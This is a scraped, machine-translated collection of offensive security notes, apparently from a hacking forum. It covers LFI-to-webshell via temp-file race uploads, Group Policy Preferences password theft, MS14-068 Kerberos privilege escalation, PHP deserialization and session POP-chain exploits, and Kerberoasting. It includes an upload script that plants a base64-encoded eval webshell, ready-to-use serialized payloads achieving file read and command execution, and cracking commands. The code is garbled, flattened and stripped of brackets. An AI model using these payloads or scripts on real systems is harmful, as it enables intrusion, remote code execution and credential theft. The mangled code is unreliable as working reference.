base_url='http://%s:%d' % (host, port) def upload_file_to_include(url, file_content): files={'file': ('evil.jpg', file_content, 'image/jpeg')} try: response=requests.post(url, files=files) except Exception as e: print e def generate_tmp_files(): webshell_content='?php eval($_REQUEST[c]);'.encode( 'base64').strip().encode('base64').strip().encode('base64').strip() file_content='?php if(file_put_contents('/tmp/ssh_session_HD89q2', base64_decode('%s'))){echo 'flag';}?' % ( webshell_content) phpinfo_url='%s/include.php?f=php://filter/string.strip_tags/resource=/etc/passwd' % ( base_url) length=6 times=len(charset) ** (length/2) for i in xrange(times): print '[+] %d/%d' % (i, times) upload_file_to_include(phpinfo_url, file_content) def main(): generate_tmp_files() if __name__=='__main__': main() 5 总结 When there is a vulnerability in a target file, the file that can be included cannot be found and cannot getshell. There are three ways to do it: Borrow phpinfo, including temporary files to getshell Use PHP_SESSION_UPLOAD_PROGRESS to getshell Use a vulnerability (such as memory vulnerabilities, etc.) that can cause PHP to stop executing, and the uploaded temporary files will not be deleted at this time. We can burst cache file names to getshell.
  22. 域环境中的组策略安全测试 1 组策略的部署与更新 1.1 组策略的部署 Windows 2016 comes with Server Manager Group Policy Management Tool More professional group policy management tool GPMC, which can manage multiple domains Create and edit the content of a group policy Group policies are divided into host policy and user policy, machine and users directory; script type and non-script type, script directory 1.2 组策略的存储 is stored in the domain server, \\domain\sysvol\policies is stored in plaintext as xml, ini, inf and other files Open read permissions to all users in the domain 1.3 组策略的更新 The client actively obtains the group policy every 90 minutes to check whether the group policy has changed. Clients use gpupdate /force to force group policy to be checked immediately Parameters can be divided into host and user, gpupdate /force /target:computer 1.4 组策略的下发与获取 kerberos protocol authentication LDAP protocol search SMB protocol download Query principle of group policy LDAP searches all group policies, which belong to its own query policies, and which policies the server decides to return (version number is an important factor in the decision) 2 组策略密钥攻防 2.1 组策略中的口令明文 Deploy login scripts through VB scripts It was more common before 2003 and is now abandoned. 2.2 组策略中的口令密文 Microsoft released GPP (Group Policy Preferences) in Windows 2008, KB943729, which was disabled on Windows 2016. In some scenarios, use credentials are stored: Mapping driver (Drivers.xml) Create/Update Services (Services.xml) Create a local user ScheduledTasks.xml) DataSources.xml) Change local Administrator password Printer configuration (Printers.xml) Take creating a local user using Group Policy as an example: win 2003 win 2008 Group Policy Content: The plaintext password is encrypted by AES, but the key is fixed: 2.3 破解口令密文 Use Get-GPPPassword in PowerSploit to get the password in Group Policy: Get-GPPPassword 3 利用组策略攻击客户端 Issue Group Policy to the client:
  23. MS14-068 漏洞分析 1 漏洞简介 On 2014.11.18, Microsoft released the MS14-068 patch, fixing a serious vulnerability that affected all versions of Windows servers. Used to resolve a Microsoft Windows Kerberos KDC vulnerability that allows hackers to increase permissions of any normal user to become domain administrators. Attackers can use these elevated permissions to control all computers in the domain, including domain servers. 2 原理分析 2.1 kerberos 认证流程 After the Server receives the TGS sent by the Client, it must compare the domain group that the Client declares in the TGS and compares it with the ACL on the Server, and then decides what kind of resource access permissions to the Client. Microsoft uses PAC to represent domain groups declared by Client in TGS. PAC (Privilege Attribute Certificate), privilege attribute certificate. 2.2 PAC PAC contains the SID of the User of the Client and the SID of the Group. PAC determines the group attributes of the Client, that is, determines the permissions of the Client In order to ensure its own legitimacy, PAC also contains 2 signatures. The Key is krbtgt's NTLM. In addition to User SID and Group SID, the signed content has other parts. PAC is encrypted as part of TGT with the key krbtgt Client initiates an authentication request to the AS module of KDC. When AS returns TGT, it generates a PAC based on the group where the Client is located, including the Client's User SID, Group SID, and 2 signatures to ensure that the PAC is not tampered with. Send the PAC to the Client as part of the TGT. When the Client uses TGT to initiate access to the Server service to the KDC's TGS module, the KDC's TGS module first decrypts the TGT and verifies the 2 signatures to verify the legitimacy of the PAC. If verified, the KDC's TGS module replaces the old signature with 2 new signatures to ensure that the PAC is not tampered with. The first signed key isServer 的 NTLMand the second isServer 与 Client 的临时会话密钥(Server Session Key). The re-signed PAC is placed in the issued access ticket TGS and is encrypted and protected using the Server's NTLM as the key. After the Server receives the TGS from the Client, it decrypts the TGS to verify the legitimacy, verifies the 2 signatures in the PAC, confirms the legitimacy of the PAC, and then confirms the access rights of the Client. 2.3 漏洞成因 Client When initiating an authentication request, by setting include-PAC to False, the returned TGT will not include the PAC. When KDC verifies PAC, although in principle, for the signature algorithm at the tail of the PAC, it is required to be a signature algorithm with a Key, Microsoft allows any signature algorithm in implementation. As long as the client specifies any signature algorithm, the KDC server will use the specified algorithm for signature verification. Therefore, any forged content can be legal, and the value of the content can be directly added as the signature (the first reason) The PAC is not placed in the TGT, elsewhere. KDC can still correctly parse PAC information that is not placed in TGT The PAC must be ciphertext, encrypted by Key KDC will take out the Session Key from Authenticator, decrypt the PAC information and use the signature algorithm set by the client to verify the signature (the second reason) After KDC successfully verifying the TGT without PAC, it will verify the legitimacy of the PAC not in the TGT. If both of the two are successfully verified, KDC takes out the User SID and Group SID in the PAC and reuses it for signature. The signature algorithm and key are exactly the same as when setting the inclue-pac flag to TRUE. Add the newly generated PAC to the decrypted TGT, and then re-encrypt and create a brand new TGT and send it to the Client, not the ST (the third reason)
  24. 反序列化系列 1 定义与原理 1.1 相关概念 Memory data is "fleeting"; usually, the program execution is completed and all of them are destroyed immediately. The data stored by the variable is memory data; the file is "persistent data" Serialization: It is the process of "save" the variable data in memory to the persistent data in the file. Simplify: turn memory into file Deserialization: It is the process of serializing the data stored in the file and restoring it to the variable representation of the program code. Simplify: turn files into memory The fundamental reason for the vulnerability is that the program does not detect the deserialization string input by the user, which causes the deserialization process to be maliciously controlled, resulting in a series of uncontrollable consequences such as code execution and getshell. 1.2 相关函数 serialize(mixed value) : string unserialize(string $str) : mixed 1.2.1 序列化 The meaning of serialization 1.2.2 反序列化 2 魔术方法 - magic method __construct(): Automatically call when a class is created __destruct(): It is called automatically when a class is destroyed __invoke(): Automatically call when using a class as a function __tostring(): Automatically call when using a class as a string __wakeup(): It is called automatically when the unserialize() function is called __sleep(): It is called automatically when the serialize() function is called __call(): Automatically call when the method to be called does not exist or the permissions are insufficient 2.1 注意点 \x00 + Class name + \00 + Variable name Deserialized is a private variable \x00 + * + \x00 + Variable name Deserialized is a protected variable The deserialization of the direct variable name is a public variable Add + before the object to bypass the regular 2.2 DEMO 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 twenty one twenty two twenty three twenty four 25 26 27 28 29 30 31 32 33 34 35 36 ?php @error_reporting(1); class baby { public $file; function __toString() { if(isset($this-file)) { $filename='./{$this-file}'; if (file_get_contents($filename)) { return file_get_contents($filename); } } } } if (isset($_GET['data']))) { $data=$_GET['data']; preg_match('/[oc]:\d+:/i',$data,$matches); //Match O here and then intercept it with the number. if(count($matches)) { die('Hacker!'); } else { $good=unserialize($data); echo $good; } } else { highlight_file('./index.php'); } ? Payload: url?data=O:%2b4:'baby':1:{s:4:'file';s:8:'flag.php';} 3 PHP Bug 72663 3.1 原理 When in a serialized string, if the value representing the number of objects attributes is greater than the number of real attributes, the execution of __wakeup will be skipped 3.2 DEMO 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 twenty one twenty two twenty three twenty four 25 26 ?php class SoFun { protected $file='index.php'; function __destruct() { if (!empty($this-file)) { if (strchr($this-file, '\\')===false strchr($this-file, '/')===false) show_source(dirname(__FILE__) . '/' . $this-file); else die('Wrong filename.'); } } function __wakeup() { $this-file='index.php'; } public function __toString() { return ''; } } if (!isset($_GET['file'])) { show_source('index.php'); } else { $file=base64_decode($_GET['file']); echo unserialize($file); } ? #!--key in flag.php-- payload: url?file=Tzo1OiJTb0Z1biI6Mjp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9 4 PHP Session 序列化及反序列化 4.1 相关原理 4.1.1 PHP Session 序列化机制 When session_start() is called or session.auto_start is 1 in php.ini, PHP internally calls session manager, and after accessing the user session is serialized, it is stored in the specified directory (default is /tmp). 4.1.2 session 序列化及反序列化处理器 PHP has built-in multiple processors for accessing $_SESSION data. The data will be serialized and deserialized. The following three commonly used ones are corresponding to three different processing formats. processor Corresponding storage format php Key name + Vertical line + Value processed by serialize() function php_binary ASCII characters corresponding to the length of the key name + key name + value processed by the serialize() function php_serialize (php=5.5.4) Arrays processed by desequentializing the serialize() function 4.1.3 与 session 存储相关的配置项 The configuration file php.ini contains these configuration items related to session storage: 1 2 3 session.save_path='E:/wamp64/tmp' -- Set the storage path of session, by default in /tmp session.auto_start=0 -- Specifies whether the session module starts a session at the beginning of the request, default is 0 and does not start session.serialize_handler=php -- Defines the processor name used to serialize/deserialize. Use php by default PHP provides the session.serialize_handler configuration option, which allows you to set the processor used for serialization and deserialization, and the default is php. If you want to modify it to another engine, you only need to add the code ini_set('session.serialize_handler', 'Engine that needs to be set'), as follows: 1 2 3 4 ?php ini_set('session.serialize_handler', 'php'); session_start(); $SESSION['a']=$_GET['a']; The stored file is named after the session_sessionid, and the content of the file is the content after the serialization of the session value. You can see a newly generated session file under the corresponding path of session.save_path, named sess_cj15cikdujk6uv3bdq6qvonbe7, and you can see that the storage format is: key name + vertical line + value processed by the serialize() function: a|s3:'123'; Using the php_serialize processor: 1 2 3 4 ?php ini_set('session.serialize_handler', 'php_serialize'); session_start(); $SESSION['a']=$_GET['a']; Format: Array processed by desequence of serialize() function: a:1:{s:1:'a';s:'123';} 4.2 PHP session 反序列化漏洞 If PHP uses different processors when deserializing stored $_SESSION data and the processor when serializing, the data cannot be deserialized correctly. Through special construction, any data can even be forged. Example When the storage is processed by php_serialize, and then the php processor is used to process it when called. If the injected data at this time is: a=|O:4:'test':0{}, then the content in the session is a:1:{s:1:'a';s:16:'|O:4:'test':0:{}';}, according to the explanation, a:1:{s:1:'a';s:16:' is regarded as a key name after being parsed by php, followed by an injection of an instantiated test object. When the configuration option session_auto_start=Off , the serialization processors used by the two scripts when registering the Session session are different, security issues will arise. 4.3 DEMO index.php 1 2 3 4 5 6 7 ?php show_source(__FILE__); ini_set('session.serialize_handler', 'php'); require('./class.php'); session_start(); $obj=new fool(); $obj-varr='phpinfo.php'; class.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 twenty one twenty two twenty three twenty four 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 ?php highlight_string(file_get_contents(basename($_SERVER['PHP_SELF']))); show_source(__FILE__); class foo1{ public $varr; function __construct(){ $this-varr='i.php'; } function __destruct(){ if(file_exists($this-varr)){ echo 'br file'.$this-varr.'exist br'; } echo 'br This is the destructor of foo1'; } } class foo2{ public $varr; public $obj; function __construct(){ $this-varr='1234567890'; $this-obj=null; } function __toString(){ $this-obj-execute(); return $this-varr; } function __desctuct(){ echo 'br This is the destructor of foo2'; } } class foo3{ public $varr; function execute(){ eval($this-varr); } function __desctuct(){ echo 'br This is the destructor of foo3'; } } ? phpinfo.php 1 2 3 4 5 6 7 8 ?php show_source(__FILE__); session_start(); require('./class.php'); $f3=new foo3(); $f3-varr='phpinfo();'; $f3-execute(); ? As you can see, index.php uses the php processor. For the key configuration in php.ini, pay attention to session.serialize_handler in the configuration: 1 2 3 session.serialize_handler=php_serialize session.upload_progress.cleanup=Off session.upload_progress.enabled=On You can visit phpinfo.php to view configuration information: The default is to use the php processor to process session, session.upload_progress.cleanup is configured as Off, and session.upload_progress.enabled is configured as On. session.upload_progress.enabled, when it is enabled, PHP can monitor upload progress whenever it is uploaded. When an upload is being processed and POST a variable with the same name as the session.upload_progress.name set in php.ini, the upload progress can be obtained in $_SESSION. When PHP detects such a POST request, it adds a set of data in $_SESSION, the index is the value that session.upload_progress.prefix and session.upload_progress.name. The current code does not submit data to the server, but session.upload_progress.enabled is now enabled, so you can upload the file to write data in the session file. In other words, the utilization point is to upload the file through session.upload_progress.enabled to write the content of the php_serialize processor format into the session file, which is different from the php processor in index.php, which in turn causes the existence of the session deserialization vulnerability. poc.php, used to generate serialized poc, define an instance with $varr value of foo2 in the constructor in foo1, define an instance with $obj as foo3 in foo2, and define a value of $varr in foo3 in foo3, and define a value of $varr as system('whoami'); poc.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 twenty one twenty two twenty three twenty four 25 26 ?php class foo3{ public $varr; function __construct(){ $this-varr='system('whoami');'; } } class foo2{ public $varr; public $obj; function __construct(){ $this-varr='1'; $this-obj=new foo3(); } } class foo1{ public $varr; function __construct(){ $this-varr=new foo2(); } } echo serialize(new foo1()); ? form.html, a form file that submits a POST request to index.php, including the PHP_SESSION_UPLOAD_PROGRESS variable: 1 2 3 4 5 form action='http://127.0.0.1/i.php' method='POST' enctype='multipart/form-data' input type='hidden' name='PHP_SESSION_UPLOAD_PROGRESS' value='geekby' / input type='file' name='file' / input type='submit' / /form Burpsuite truncates the POST request sent by the form.html, and adds the value in the PHP_SESSION_UPLOAD_PROGRESS column to the poc generated by poc.php to successfully execute the command: |O:4:'foo1':1:{s:4:'varr';O:4:'foo2':2:{s:4:'varr';s:1:'varr';s:1:'obj';O:4:'foo3':1:{s:4:'varr';s:19:'system('whoami');';}}}
  25. Kerberoasting 攻击 1 背景 Kerberoasting attack is a domain password attack method released by Tim Medin on DerbyCon 2014. Tim Medin also released a supporting attack tool kerberoast. Since then, many researchers have improved and expanded Kerberosting and developed and released a large number of tools on GitHub, making Kerberosting gradually evolved into one of the common methods of domain attacks. 2 原理 The authentication and authorization process of the kerberos protocol, involving the use of NTLMs of different accounts as keys to encrypt data Use domain user's NTLM encryption authentication request ticket KDC NTLM encryption certified tickets using Krbtgt account TGT KDC uses NTLM encryption authorized tickets for the service account running the service TGS Kerberos uses exposed symmetric encryption algorithms y=f(x, key) is a known symmetric encryption algorithm, such as rc4_hmac_nt, etc. x is the data to be encrypted, containing a time stamp, and other contents in fixed format; key is the encryption key, that is, NTLM; y is the encrypted secret data. If y can be obtained from the Kerberos domain network, different x can be calculated based on the known algorithm using different f. Since x contains a simple and easy-to-identify timestamp, the timestamp can be used to quickly determine whether the data decryption is correct, thereby determining whether the key used is the password to be found. The simpler the key, the lower the intensity of the encryption algorithm f, the greater the probability of being cracked. Therefore, it is necessary to find an account with a simple key and use a lower intensity encryption algorithm f. 3 账号类型 There are three main types of account in the domain, including host account, user account, service account (SPN is registered under the domain user account) and so on. The password of the host account is randomly set by the system and can hardly be cracked, and it is automatically changed every 30 days The password complexity of a user account depends on the strategy, and it is difficult to crack in a domain with high complexity requirements. 3.1 服务账号的口令存在很大的特殊性 Password is often automatically set when installing the application software, and the complexity is often simpler The password will hardly change because most application software does not provide the function and interface to modify the service account, such as the sqlsvc account running the MS SQL Server service, etc. The service account basically meets the condition that the password is low and can be used as a cracking object. To achieve the cracking conditions, you also need to obtain the encrypted data, and you need to obtain the confidential data of the service account Since TGS is encrypted by the NTLM of the service account, you can obtain the secret data by obtaining the TGS of the access service, which is step 4 in the Kerberos protocol. Under the Kerberos protocol, any user can request access to a service from the domain server The service may not be online, as long as the service has registered SPN (Service Principal Name) in the domain. 4 SPN 4.1 SPN 相关概念 SPN is the unique identifier of the service running on the server. Each service using Kerberos requires an SPN SPN is divided into two types: one is registered under the computer account on AD and the other is registered under the domain user account (Users). When a service's permission is Local System or Network Service, the SPN is registered under the Machine Account (Computers) When a service's permissions are a domain user, the SPN is registered under the domain user account (Users) The format of SPN is serviceclass/host:port/servicename where serviceclass represents the type of service, such as www represents web services; Try to use FQDN to represent host; If the port is a well-known port, it can be omitted. 4.2 查询 SPN SPN exists in the attributes of the account, so you can traverse all SPN services in the domain by querying the attributes of all accounts. Because the password of the host account is almost impossible to crack, only the SPN of the user account is queried. The system provides PowerShell module for querying. PowerViewer encapsulates the module and provides the Get-DomainUser -SPN command to traverse the SPNs of all user accounts in the domain. Tools included with Win7 and Windows Server 2008 setspn.exe -q */* In some domains, when some services no longer run or stop the service, these service accounts may still be left in the domain. Since the operation or not of the service does not affect our acquisition of TGS, these non-existent SPNs are still applicable to Kerberoasting. Some service accounts have higher permissions, for example, some special services require service accounts with domain administrator privileges to run normally. Therefore, they can be marked and filtered when querying SPNs as the target of key attacks. The method is to add the AdminCount parameter when using the Get-DomainUser -SPN command to indicate that it has high permissions. 5 攻击流程 Get the service account in the domain to correspond to the service running You need to obtain the TGS to access these services, so as to obtain the encrypted data encrypted by the service account NTLM Mimikatz provides this feature, which can be obtained through the ask command of the Kerberos module. Use Mimikatz to obtain only one TGS at a time. The impacket toolkit provides a batch acquisition method, which can obtain TGS of all SPNs in the domain at once for offline batch cracking. In order to solve the compatibility issues of old and new versions of the system, Microsoft will support multiple encryption algorithms, such as AES, DES, RC4, MD5, etc. In Windows 2003 and Windows 2000 systems, algorithms such as RC4, MD5, HMAC_MD5 are mainly used, which are relatively easy to crack. Therefore, when choosing the key points to crack, try to select services running on these systems There are several ways to force the system to choose to use a less powerful encryption algorithm. The algorithm that is easier to crack now is the RC4_HMAC_NT algorithm. When acquiring TGS, the domain server can be induced to use this algorithm for encryption. All conditions for a Kerberoasting attack Confidential data algorithm Password Dictionary Library Use Tim Medin's kerberoast tool to crack the password, and of course the HashCat tool with faster algorithms. After downloading the decompression kerberoast tool, use tgsrepcrack.py wordlist.txt tgs.kirbi to crack, where wordlist.txt is the dictionary file and tgs.kirbi is the TGS obtained earlier. The probability and time of cracking depend on password complexity, dictionary, and machine performance. ./tgsrepcrack.py wordlist.txt test.kirbi 6 防御 The main premise of Kerberoasting attack is that the password complexity is low and the encryption algorithm is weak. The attack against Kerberosting also needs to be carried out from these 2 aspects Improve the password complexity of service accounts; Try to upgrade the server system in the domain to at least Windows 2008 system, and apply AES256 difficult encryption algorithm Detecting Kerberosting attacks is difficult because all online operations are legal and normal operations, but there are still traces to follow. For example, batch acquisition of TGS is a feature, and low-intensity encryption algorithm is a feature. It is a relatively effective detection idea to start from these two aspects.

Important Information

HackTeam Cookie PolicyWe have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.